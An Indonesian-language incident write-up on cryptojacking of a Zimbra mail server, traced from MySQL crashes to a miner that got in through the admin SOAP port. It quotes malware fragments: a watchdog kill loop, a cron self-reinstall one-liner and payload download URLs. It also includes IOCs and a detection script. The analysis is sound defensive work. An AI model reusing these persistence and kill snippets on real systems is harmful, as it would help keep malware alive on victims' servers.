Skip to content

Catatan Insiden: Dari “MySQL Zimbra Gagal Start” ke Cryptojacking

Sistem: Zimbra 10.1.16 FOSS (build maldua), Ubuntu 20.04, VM Proxmox Periode: 25 Agustus 2026 – 1 September 2026 Status akhir: Terselesaikan (7 hari tanpa reinfeksi)


Ringkasan Eksekutif

Diagnosis dimulai dari gejala MySQL Zimbra yang gagal start berulang. Setelah beberapa hipotesis yang keliru, ditemukan bahwa mysqld dibunuh (SIGKILL) oleh watchdog milik malware cryptomining yang berjalan sebagai user zimbra.

Malware menargetkan proses “miner pesaing” dengan pola yang secara tidak sengaja juga menjaring mysqld. Butuh tiga siklus pembersihan sebelum berhasil, karena setiap kali ada jalur persistensi yang terlewat.

Yang menyelesaikan: kombinasi penutupan port 7071 dari publik, pembersihan persistensi cron secara tuntas, dan upgrade Zimbra 10.1.16 → 10.1.20.


Bagian 1 — Gejala Awal

Keluhan

zimbra@mail:~$ zmcontrol start
Host mail.x.ac.id
        Starting ldap...Done.
        Starting mailbox...Done.
        ...
        Starting zimbraAdmin webapp...Failed.
        Starting zimlet webapp...Failed.

zimbra@mail:~$ zmmysqlstatus start
ERROR 2002 (HY000): Can't connect to local MySQL server through socket
'/opt/zimbra/data/tmp/mysql/mysql.sock' (111 "Connection refused")

Log MySQL

root@mail:~# tail -n 100 /opt/zimbra/log/mysql_error.log

Pola yang muncul:

260825 01:38:54 mysqld_safe Number of processes running now: 0
260825 01:38:54 mysqld_safe mysqld restarted
2026-08-25  1:38:58 [Note] /opt/zimbra/common/sbin/mysqld: ready for connections.
260825 01:39:21 mysqld_safe Number of processes running now: 0
...
2026-08-25  7:20:52 [Note] InnoDB: The log sequence number 7690465554 in ibdata file
do not match the log sequence number 7721837427 in the ib_logfiles!

Poin kunci: mysqld berhasil sampai ready for connections, lalu mati 1–47 detik kemudian tanpa satu baris error pun. Tidak ada assertion failure, tidak ada stack trace InnoDB.


Bagian 2 — Hipotesis yang Salah

Bagian ini sengaja disertakan karena proses eliminasinya yang mengarahkan ke temuan sebenarnya.

Hipotesis 1: Storage tidak persist / filesystem read-only

Alasan: LSN di ibdata mundur ke nilai 11 hari sebelumnya. LSN tidak mungkin mundur kalau write benar-benar mendarat di disk.

mount | grep -E ' / | /opt'
touch /opt/zimbra/db/data/.writetest && echo OK || echo GAGAL-TULIS
df -h /opt/zimbra
df -i /opt/zimbra
dmesg -T | grep -iE 'oom|killed process|I/O error|EXT4-fs|remount'

Output:

/dev/sda2 on / type ext4 (rw,relatime)
OK
/dev/sda2       393G   29G  345G   8% /
/dev/sda2      26214400 235929 25978471    1% /
[Mon Jan 19 10:27:13 2026] EXT4-fs (sda2): mounted filesystem with ordered data mode.

Hasil: GUGUR. Filesystem rw, 345 GB bebas, inode 1%, tidak ada I/O error sejak boot Januari.

Hipotesis 2: Korupsi InnoDB

Dijalankan manual di luar wrapper:

/opt/zimbra/common/sbin/mysqld --defaults-file=/opt/zimbra/conf/my.cnf --console

Dari terminal kedua:

/opt/zimbra/common/bin/mysql --socket=/opt/zimbra/data/tmp/mysql/mysql.sock \
  -u root -p<password> -e "SELECT @@version, @@datadir; SHOW DATABASES;"

Output: 100+ database mboxgroup*, zimbra, chat — semuanya utuh. Instance manual bertahan 10+ menit.

Hasil: GUGUR. Database sehat. Tidak perlu innodb_force_recovery.

Catatan teknis: | tail -40 menahan output di buffer sampai proses selesai. Layar kosong selama 10 menit bukan berarti macet — mysqld justru sedang jalan normal. Gunakan | tee file.log untuk output realtime.

Hipotesis 3: Timeout wrapper zmcontrol

Alasan: mysqld bertahan lama saat dijalankan manual, tapi mati cepat via zmcontrol.

Hasil: GUGUR. Log menunjukkan mysqld sudah mencapai ready for connections sebelum mati — recovery tidak gagal, prosesnya dibunuh setelah sukses.

Hipotesis 4: OOM Killer

dmesg -T | grep -iE 'oom|killed process'
free -h

Hasil: GUGUR. Tidak ada jejak OOM, swap aktif, RAM cukup.

Hipotesis 5: Log error tersembunyi di file lain

my.cnf bagian [mysqld_safe] menunjuk log-error = /opt/zimbra/log/mysqld.log, tapi file itu tidak pernah terbentuk.

Hasil: GUGUR. Skrip /opt/zimbra/bin/mysql.server memanggil mysqld_safe dengan --log-error di command line, dan argumen CLI mengalahkan my.cnf. mysql_error.log memang satu-satunya log.


Bagian 3 — Terobosan: Audit Syscall

Karena mati tanpa error adalah ciri khas SIGKILL dari luar, dipasang audit rule:

apt install -y auditd
auditctl -a always,exit -F arch=b64 -S kill -S tkill -S tgkill -F a1=9 -k mysqlkill
auditctl -a always,exit -F arch=b64 -S kill -S tkill -S tgkill -F a1=11 -k mysqlkill

Rule awal hanya -S kill. Perlu ditambah tkill/tgkill karena banyak proses membunuh lewat syscall tersebut.

Hasil:

ausearch -k mysqlkill -i | tail -40

type=PROCTITLE msg=audit(08/25/2026 08:25:22.561:2153) : proctitle=pkill -9 -f gt_sys_wd
type=SYSCALL ... a1=SIGKILL ... uid=zimbra ... comm=pkill exe=/usr/bin/pgrep key=mysqlkill
----
type=PROCTITLE msg=audit(08/25/2026 08:25:22.581:2154) : proctitle=pkill -9 -f ssl-compet
----
type=PROCTITLE msg=audit(08/25/2026 08:25:22.597:2155) : proctitle=pkill -9 -f mnmonitor
----
type=PROCTITLE msg=audit(08/25/2026 08:25:22.621:2156) : proctitle=pkill -9 -f cpuhide
----
type=PROCTITLE msg=audit(08/25/2026 08:25:22.633:2157) : proctitle=pkill -9 -f unicorn

gt_sys_wd, cpuhide, mnmonitor, unicorn, ssl-compet — semuanya nama cryptominer. Pola “pkill -9 semua miner pesaing” adalah rutinitas standar malware crypto-mining untuk memonopoli CPU.

Bersamaan itu, di monitoring proses muncul:

PID    PPID  RSS      ETIMES  COMM
8969   1     2418880  2098    javab

javab — bukan java. Proses ~2,3 GB RSS, PPID 1 (sudah di-orphan), nama sengaja dibuat mirip agar lolos saat melihat ps sekilas.


Bagian 4 — Pemetaan Malware

Identifikasi proses

ls -l /proc/8969/exe /proc/8969/cwd
tr '\0' ' ' < /proc/8969/cmdline; echo
ps -ef --forest | grep -B5 -A5 '20279'

/proc/8969/cwd -> /dev/shm
/proc/8969/exe -> '/dev/shm/javab (deleted)'
/dev/shm/javab

Binary sudah di-unlink tapi tetap jalan dari memori — teknik anti-forensik standar.

Rantai proses:

zimbra 20265 20259  /bin/sh /dev/shm/idle
zimbra 20266     1  sh -c "/dev/shm/.rguard"
zimbra 20279 20266  /bin/sh /dev/shm/.rguard

Koneksi C2

ss -tunap | grep -E '8969|20279'

tcp ESTAB 0 0 144.73.212.71:58686 15.235.234.128:8080 users:(("javab",pid=8969,fd=13))

Persistensi

crontab -u zimbra -l | tail -3

# ZIMBRAEND -- DO NOT EDIT ANYTHING BETWEEN THIS LINE AND ZIMBRASTART
* * * * * /dev/shm/.khp

Ditaruh di luar blok ZIMBRASTART/ZIMBRAEND supaya tidak terhapus saat Zimbra menulis ulang crontab-nya.

Komponen

FileFungsi
/dev/shm/javabMiner, 5,5–8,6 MB, konek ke 15.235.234.128:8080
/dev/shm/.rguardWatchdog — loop tiap 0,1 detik, pkill -9 miner pesaing
/dev/shm/idleLoop pendukung
/dev/shm/.khpLoader — respawn tiap menit via cron
/dev/shm/.log_*.gzCache payload (gzip dari binary ELF)

Kenapa mysqld ikut terbunuh

Potongan .rguard:

# kill same-UID procs whose exe or cwd file is deleted (rival miner hiding)
case "$_exe|$_cwd" in
    *deleted*|/dev/shm/*|/tmp/*|/var/tmp/*|/var/lib/*) ;;
    *) case "$_c" in
           */dev/shm/*|*/tmp/*|*/var/tmp/*|*/var/lib/*|\[*\]|*miner*|*rig*|*xmr*) ;;
           *) continue ;;
       esac ;;
esac
case "$_c" in
    *javab*|*ksmd*|*idle*|*.khp*|*.rguard*|*self*|*ksmdr*|*krun*|*gitea*) continue ;;
esac
kill -9 "$_pid" 2>/dev/null

Pola *deleted*|/dev/shm/*|/tmp/*|... menjaring proses non-root secara agresif. mysqld Zimbra (uid zimbra, tmpdir /opt/zimbra/data/tmp) masuk kriteria.

MySQL bukan masalahnya — MySQL adalah korbannya.

Mekanisme self-heal

crontab -l 2>/dev/null | grep -F "/dev/shm/.khp" >/dev/null 2>&1 || \
  { crontab -l 2>/dev/null; echo "* * * * * /dev/shm/.khp"; } | crontab - 2>/dev/null

Dan daftar C2 untuk unduh payload berikutnya:

http://45.74.7.234/assets/img/uploads//ksmd
http://87.229.64.49/static/js/vendor//ksmd
http://45.74.7.226/m51src/public/cache/stores/redis/lang/ksmd
https://kworker.eth.link/kworker/api/ksmd
http://185.119.90.206/webchat/images/filetypes/ksmd


Bagian 5 — Vektor Masuk

Bukti kunci: environment variable

Membandingkan /proc/<pid>/environ antar proses:

Proses dari cron:

HOME=/opt/zimbra
PATH=/usr/bin:/bin
SHELL=/bin/sh

Proses pertama (javab PID 3278592, 26 Aug 01:28:16):

zimbra_ldap_userdn=uid=zimbra,cn=admins,cn=zimbra
mailboxd_truststore=/opt/zimbra/common/lib/jvm/java/lib/security/cacerts
mailboxd_thread_stack_size=256k
zimbra_log4j_properties=/opt/zimbra/conf/log4j.properties

Itu environment localconfig Zimbra — hanya diwariskan oleh proses yang di-spawn dari mailboxd (JVM). Cron tidak punya variabel itu.

Kesimpulan: RCE lewat aplikasi Zimbra, bukan SSH, bukan cron, bukan NRPE/Zabbix.

Kampanye eksploitasi

grep '26/Aug/2026:0[01]:' /opt/zimbra/log/access_log.2026-08-26 | grep -vE '127.0.0.1|192.168'

213.176.26.42  - - "POST /service/admin/soap/ HTTP/1.1" 500
213.176.26.34  - - "POST /service/admin/soap/ HTTP/1.1" 500
213.176.26.72  - - "POST /service/admin/soap/ HTTP/1.1" 500
213.176.26.153 - - "POST /service/admin/soap/ HTTP/1.1" 500
... (18 IP berbeda dari blok 213.176.26.0/24)
80.94.95.242   - - "POST /service/admin/soap/ HTTP/1.1" 500

Verifikasi jalur — IP tersebut tidak ada di log nginx:

zgrep -c '213.176' /opt/zimbra/log/nginx.access.log*

/opt/zimbra/log/nginx.access.log:0
/opt/zimbra/log/nginx.access.log.1:0
... semuanya 0

Artinya mereka memukul langsung ke port 7071, tidak lewat nginx proxy di 443.

Yang tidak terbukti

  • Webshell JSP: find /opt/zimbra/jetty*/webapps -name '*.jsp' -newermt '2026-06-01' → kosong
  • SSH: PermitRootLogin prohibit-password (default OpenSSH 8.2), last hanya menunjukkan IP pengelola
  • SNMP/swatchdog: skrip .swatchdog_script.* semuanya boilerplate Perl asli, 2982 byte identik
  • Scanner 194.233.91.189: 1132 POST tapi semua 404, payload generik non-Zimbra

Request pemicu eksekusi pada 01:28:16 tidak pernah teridentifikasi pasti.


Bagian 6 — Kesalahan Firewall yang Perlu Dihindari

Tiga kali rule iptables memutus operasional Zimbra. Zimbra sangat banyak berkomunikasi dengan dirinya sendiri.

Kesalahan 1: blokir port 8080

# JANGAN
iptables -I OUTPUT -m owner --uid-owner zimbra -p tcp --dport 8080 -j DROP

Akibat: HTTP ERROR 504 — Cannot connect to the ZCS upstream server

Nginx Zimbra meneruskan request ke mailboxd di port 8080, dan nginx berjalan sebagai user zimbra.

Kesalahan 2: blokir outbound 80/443 untuk user zimbra

# JANGAN tanpa pengecualian lokal
iptables -A OUTPUT -m owner --uid-owner zimbra -p tcp -m multiport --dports 80,443 -j DROP

Akibat: webmail dan admin console mati. Komponen Zimbra (nginx-lookup, zclient, zmprov) berbicara ke server sendiri lewat 443.

Kesalahan 3: blokir 7071 tanpa exception loopback

# JANGAN
iptables -I INPUT -p tcp --dport 7071 ! -s 192.168.0.0/16 -j DROP

Akibat:

zimbra@mail:~$ zmprov gcf zimbraReverseProxyAdminEnabled
ERROR: zclient.IO_ERROR (invoke Connect timed out, server: localhost)

zmprov menghubungi localhost:7071, dan 127.0.0.1 tidak termasuk 192.168.0.0/16.

Pola yang benar

Selalu ACCEPT loopback dan subnet server sendiri lebih dulu:

iptables -I INPUT 1 -i lo -j ACCEPT
iptables -I INPUT 2 -s 127.0.0.0/8 -p tcp --dport 7071 -j ACCEPT
iptables -I INPUT 3 -s &lt;SUBNET_SERVER>/24 -p tcp --dport 7071 -j ACCEPT
iptables -I INPUT 4 -p tcp --dport 7071 ! -s 192.168.0.0/16 -j DROP

Verifikasi dengan -v supaya kolom interface terlihat:

iptables -L INPUT -v --line-numbers | head -6

num   pkts bytes target  prot opt in   out  source          destination
1     3950 2392K ACCEPT  all  --  lo   any  anywhere        anywhere
2        0     0 ACCEPT  tcp  --  any  any  127.0.0.0/8     anywhere  tcp dpt:7071
3       22  2772 ACCEPT  tcp  --  any  any  &lt;SUBNET>/24     anywhere  tcp dpt:7071
4      418 24392 DROP    tcp  --  any  any !192.168.0.0/16  anywhere  tcp dpt:7071

Lebih bersih lagi: blokir di router/firewall eksternal, bukan di host. Router hanya melihat trafik yang benar-benar dari luar.


Bagian 7 — Kenapa Pembersihan Gagal Dua Kali

SiklusYang dilakukanYang terlewatHasil
1 (25 Ags)Kill proses, hapus file, hapus cronVektor masuk masih terbukaKembali dalam ~12 jam
2 (26 Ags pagi)Kill proses, blokir IP C2Cron ter-comment, bukan terhapusRespawn dalam menit
3 (26 Ags siang)Tutup 7071 + cron tuntas + upgradeBersih 7 hari

Jebakan: comment tidak cukup

crontab -l | grep -F "/dev/shm/.khp" >/dev/null || { ... }

grep -F mencocokkan substring di mana saja — termasuk di baris yang sudah di-comment. Skrip mengira entry masih ada dan tidak menambah ulang. Tapi kalau nanti dibersihkan sepenuhnya tanpa menutup vektor, ia akan kembali.

Hapus barisnya, jangan di-comment:

crontab -u zimbra -l | grep -v '/dev/shm/.khp' | crontab -u zimbra -
crontab -u zimbra -l | grep -c shm   # harus 0


Bagian 8 — Langkah yang Terbukti Menyelesaikan

1. Pengumpulan bukti (sebelum menyentuh apa pun)

mkdir -p /root/ioc &amp;&amp; cd /root/ioc

for p in $(pgrep -f 'javab|ksmd|idle'); do
  echo "=== PID $p"
  ps -o pid,ppid,user,lstart,cmd -p $p
  pstree -sp $p
  ls -l /proc/$p/exe /proc/$p/cwd
  tr '\0' '\n' &lt; /proc/$p/environ | head -20
done | tee proses.txt

ps -efH > pstree-full.txt
ss -tunap > koneksi.txt
cp /proc/$(pgrep -f javab | head -1)/exe ./javab.bin
cp /dev/shm/.rguard ./rguard.sh
cp /dev/shm/.khp ./khp.sh
sha256sum *

Snapshot VM Proxmox juga diambil sebagai arsip insiden.

2. Blokir C2

for ip in 45.74.7.234 87.229.64.49 45.74.7.226 185.119.90.206 15.235.234.128; do
  iptables -I OUTPUT -d $ip -j DROP
  iptables -I INPUT -s $ip -j DROP
done
echo "0.0.0.0 kworker.eth.link" >> /etc/hosts

3. Tutup vektor masuk

iptables -I INPUT 1 -i lo -j ACCEPT
iptables -I INPUT 2 -s 127.0.0.0/8 -p tcp --dport 7071 -j ACCEPT
iptables -I INPUT 3 -s &lt;SUBNET_SERVER>/24 -p tcp --dport 7071 -j ACCEPT
iptables -I INPUT 4 -p tcp --dport 7071 ! -s 192.168.0.0/16 -j DROP
iptables -I INPUT -s 213.176.24.0/22 -j DROP

4. Bunuh proses berurutan (watchdog dulu)

kill -9 &lt;PID_rguard_parent> &lt;PID_rguard>
sleep 1
kill -9 &lt;PID_idle...>
kill -9 &lt;PID_javab>
pkill -9 -u zimbra -f '/dev/shm'

5. Hapus persistensi

rm -f /dev/shm/* /dev/shm/.[!.]*
crontab -u zimbra -l | grep -v '/dev/shm' | crontab -u zimbra -
crontab -u root   -l | grep -v '/dev/shm' | crontab -u root -

# verifikasi
ls -la /dev/shm/
crontab -u zimbra -l | grep -c shm
crontab -u root -l | grep -c shm
ps -ef | grep -E '[j]avab|[d]ev/shm'
ls -la /etc/systemd/system/javab.service /etc/init.d/javab 2>/dev/null
atq

6. Upgrade Zimbra (perbaikan sebenarnya)

# backup
su - zimbra -c "zmcontrol -v" > /root/pre-upgrade-version.txt
su - zimbra -c "zmlocalconfig -s" > /root/localconfig-backup.txt
su - zimbra -c "/opt/zimbra/libexec/zmslapcat /root/ldap-backup"
tar czf /root/zimbra-conf-backup.tgz /opt/zimbra/conf /opt/zimbra/.ssh

# upgrade
su - zimbra -c "zmcontrol stop"
cd /root &amp;&amp; wget &lt;URL_tarball>
sha256sum &lt;file.tgz>          # cocokkan dengan checksum resmi
tar xzf &lt;file.tgz> &amp;&amp; cd zcs-*
./install.sh

Hasil:

root@mail:~# su - zimbra -c "zmcontrol -v"
Release 10.1.20.GA.4200001.UBUNTU20.64 UBUNTU20_64 FOSS edition.

7. Hardening tambahan

# nonaktifkan SNMP (tidak terpakai karena monitoring via Zabbix)
su - zimbra -c "zmprov ms &lt;hostname> -zimbraServiceEnabled snmp"
su - zimbra -c "zmprov ms &lt;hostname> -zimbraServiceInstalled snmp"
su - zimbra -c "zmlocalconfig -e snmp_notify=no"
su - zimbra -c "zmswatchctl stop"
rm -f /opt/zimbra/data/tmp/.swatchdog_script.*
iptables -I INPUT -p udp --dport 161 -j DROP
iptables -I INPUT -p udp --dport 162 -j DROP

# batasi port manajemen
iptables -I INPUT -p tcp --dport 5666  ! -s 192.168.0.0/16 -j DROP   # NRPE
iptables -I INPUT -p tcp --dport 10050 ! -s 192.168.0.0/16 -j DROP   # Zabbix agent

# reset kredensial
su - zimbra -c "zmprov sp admin@&lt;domain> '&lt;PASSWORD_BARU>'"

# simpan rule (SETELAH webmail dipastikan normal)
apt install -y iptables-persistent
netfilter-persistent save

8. Monitoring berkelanjutan

/root/watch-shm.sh, dijalankan tiap 5 menit via cron:

#!/bin/bash
[ -f /root/.secwatch.env ] &amp;&amp; . /root/.secwatch.env
STATE="/var/lib/secwatch.state"
FINDINGS=""
add() { FINDINGS="${FINDINGS}
• $1"; }

SHM=$(ls -A /dev/shm 2>/dev/null | grep -vE '^(pulse-|PostgreSQL\.|sem\.)' | tr '\n' ' ')
[ -n "$SHM" ] &amp;&amp; add "File di /dev/shm: $SHM"

for u in root zimbra; do
  crontab -u "$u" -l 2>/dev/null | grep -qE '/dev/shm|/tmp/|\.khp|\.rguard' \
    &amp;&amp; add "Cron $u tersisipi entry mencurigakan"
done

DEL=$(ls -l /proc/*/exe 2>/dev/null | grep -c 'deleted')
[ "$DEL" -gt 0 ] &amp;&amp; add "Ada $DEL proses dengan binary terhapus"

TMPX=$(find /tmp /var/tmp /dev/shm -maxdepth 2 -type f -executable 2>/dev/null | head -5 | tr '\n' ' ')
[ -n "$TMPX" ] &amp;&amp; add "Executable di temp: $TMPX"

CPU=$(ps -eo user,pcpu,comm --sort=-pcpu --no-headers 2>/dev/null \
      | awk '$1!="root" &amp;&amp; $2>80 {print $1"/"$3"("$2"%)"}' | head -3 | tr '\n' ' ')
[ -n "$CPU" ] &amp;&amp; add "CPU tinggi: $CPU"

if [ -n "$FINDINGS" ]; then
  HASH=$(echo "$FINDINGS" | md5sum | cut -d' ' -f1)
  LAST_HASH=$(cut -d: -f1 &lt; "$STATE" 2>/dev/null)
  logger -t SECWATCH "ALERT:$FINDINGS"
  if [ "$HASH" != "$LAST_HASH" ] &amp;&amp; [ -n "$TG_TOKEN" ]; then
    curl -s --max-time 15 -d "chat_id=${TG_CHAT}" \
      --data-urlencode "text=SECWATCH ALERT $(hostname)
${FINDINGS}" \
      "https://api.telegram.org/bot${TG_TOKEN}/sendMessage" >/dev/null
    echo "${HASH}:$(date +%s)" > "$STATE"
  fi
else
  rm -f "$STATE"
fi

Dedup via state file penting. Tanpa itu, satu file di /dev/shm menghasilkan 288 notifikasi per hari dan alert jadi diabaikan.


Bagian 9 — Verifikasi

root@mail:~# crontab -u zimbra -l | grep -c shm
0
root@mail:~# ls -la /dev/shm/
total 0
drwxrwxrwt  2 root root   40 Aug 26 14:18 .
drwxr-xr-x 19 root root 4020 Aug 25 07:52 ..
root@mail:~# su - zimbra -c "zmcontrol -v"
Release 10.1.20.GA.4200001.UBUNTU20.64 UBUNTU20_64 FOSS edition.

Timestamp file swatchdog yang sah menunjukkan operasi normal berlanjut tanpa gangguan: Aug 27, 28, 29, 30, 31, Sep 1.

7 hari tanpa reinfeksi.


Pelajaran Teknis

Diagnosis

  • Proses mati tanpa baris error apa pun di log adalah ciri SIGKILL dari luar. MariaDB selalu mencetak stack trace untuk SIGSEGV/SIGABRT.
  • auditctl dengan filter syscall kill/tkill/tgkill menyebut nama proses pengirim sinyal secara eksplisit — mengubah tebakan jadi bukti.
  • /proc/<pid>/environ mengungkap parent yang sebenarnya. Environment localconfig Zimbra pada proses malware membuktikan asalnya dari JVM mailboxd.
  • LSN mismatch InnoDB adalah gejala, bukan penyebab. Ia muncul setiap kali proses mati sebelum sempat flush.
  • | tail -N menahan output sampai proses selesai. Gunakan | tee untuk realtime.
  • grep tidak membaca .gz — gunakan zgrep.
  • Zona waktu berbeda antar log Zimbra: nginx.access.log pakai +0700 (WIB), access_log mailboxd pakai UTC, mailbox.log pakai WIB. Wajib dikonversi saat korelasi.

Firewall pada Zimbra

  • Selalu ACCEPT lo, 127.0.0.0/8, dan subnet server sendiri sebelum rule DROP.
  • Zimbra berbicara ke dirinya sendiri lewat loopback maupun IP publiknya (port 443, 8080, 7071, 389).
  • iptables -L tanpa -v menyembunyikan kolom interface — rule -i lo terlihat seperti “ACCEPT semua”.
  • Blokir di router lebih aman daripada di host: router hanya melihat trafik dari luar.

Incident response

  • Kumpulkan bukti sebelum membunuh proses. Binary yang di-unlink masih bisa disalin dari /proc/<pid>/exe selama prosesnya hidup.
  • Bunuh dari luar ke dalam: watchdog dulu, baru anak-anaknya.
  • Hapus entry cron, jangan di-comment.
  • Pembersihan tanpa menutup vektor masuk akan gagal. Terbukti dua kali.
  • Firewall menutup pintu yang diketahui; update menutup lubangnya.

Timeline

TanggalKejadian
25 Ags 01:38mysqld pertama kali mati mendadak
25 Ags 07:20–08:00Diagnosis storage, InnoDB, OOM — semua gugur
25 Ags 08:25Audit rule menangkap pkill -9 dari user zimbra
25 Ags 08:30javab teridentifikasi sebagai cryptominer
25 Ags 09:00Pembersihan siklus 1
26 Ags 01:28Reinfeksi — javab baru di-spawn dari JVM mailboxd
26 Ags 13:30Pembersihan siklus 2 (gagal, cron ter-comment)
26 Ags 14:18Pembersihan siklus 3 + tutup 7071
26 AgsUpgrade 10.1.16 → 10.1.20
27 Ags – 1 SepBersih

Referensi

  • Maldua Zimbra FOSS builds: https://maldua.github.io/zimbra-foss/downloads/
  • Zimbra 10.1.20 release notes: https://wiki.zimbra.com/wiki/Zimbra_Releases/10.1.20

IOC (Indicators of Compromise)

File

/dev/shm/javab       (miner, ELF x86-64)
/dev/shm/.rguard     (watchdog, /bin/sh)
/dev/shm/.khp        (loader, /bin/sh)
/dev/shm/idle        (loop pendukung)
/dev/shm/.khp_ts     (throttle timestamp)
/dev/shm/.log_*.gz   (cache payload, gzip dari ELF)

Network

15.235.234.128:8080          (pool/C2)
45.74.7.234                  (payload host)
45.74.7.226                  (payload host)
87.229.64.49                 (payload host)
185.119.90.206               (payload host)
kworker.eth.link             (payload host)
213.176.24.0/22              (sumber eksploitasi admin SOAP)
80.94.95.242                 (sumber eksploitasi admin SOAP)

Persistensi

crontab zimbra: * * * * * /dev/shm/.khp

Nama miner pesaing yang di-pkill (indikator keluarga malware)

gt_sys_wd, ssl-compet, sslmon, mnmonitor, cpuhide, unicorn,
esocket4, universal-miner, .gt_sys_health, .gt_cron_health

Leave a Reply

Your email address will not be published. Required fields are marked *

zimbra-cryptojacking-incident